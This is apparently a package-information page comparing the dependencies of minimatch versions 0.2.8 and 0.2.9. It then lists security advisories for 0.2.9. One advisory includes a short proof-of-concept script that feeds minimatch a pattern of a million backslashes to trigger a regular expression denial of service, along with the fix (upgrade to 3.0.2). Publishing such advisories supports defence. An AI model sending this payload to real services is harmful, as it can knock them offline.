Minimatch is a lightweight JavaScript library designed for glob pattern matching, a crucial utility for file system navigation, build tools, and task automation. Versions 0.2.8 and 0.2.9 are both mature releases, but a key difference lies in their dependencies. Version 0.2.9 introduces a dependency on the "sigmund" package, version ~1.0.0 this provides functionality for deterministic object hashing. So what does this mean? It might indicate improvements in how Minimatch handles complex patterns or caching mechanisms for increased efficiency, particularly in scenarios involving large sets of files or intricate glob expressions. Both versions rely on "lru-cache" ~2.0.0 for managing cached results. Developers should evaluate whether the added dependency of "sigmund" in v0.2.9 impacts performance or introduces any compatibility concerns within their specific projects. If you're already using minimatch for basic wildcard matching, the upgrade might be seamless, but it's always recommended to perform testing with your own specific use cases to ensure optimal behavior and compatibility. Choosing the right version depends on your project's overall dependencies and performance requirements.
All the vulnerabilities related to the version 0.2.9 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.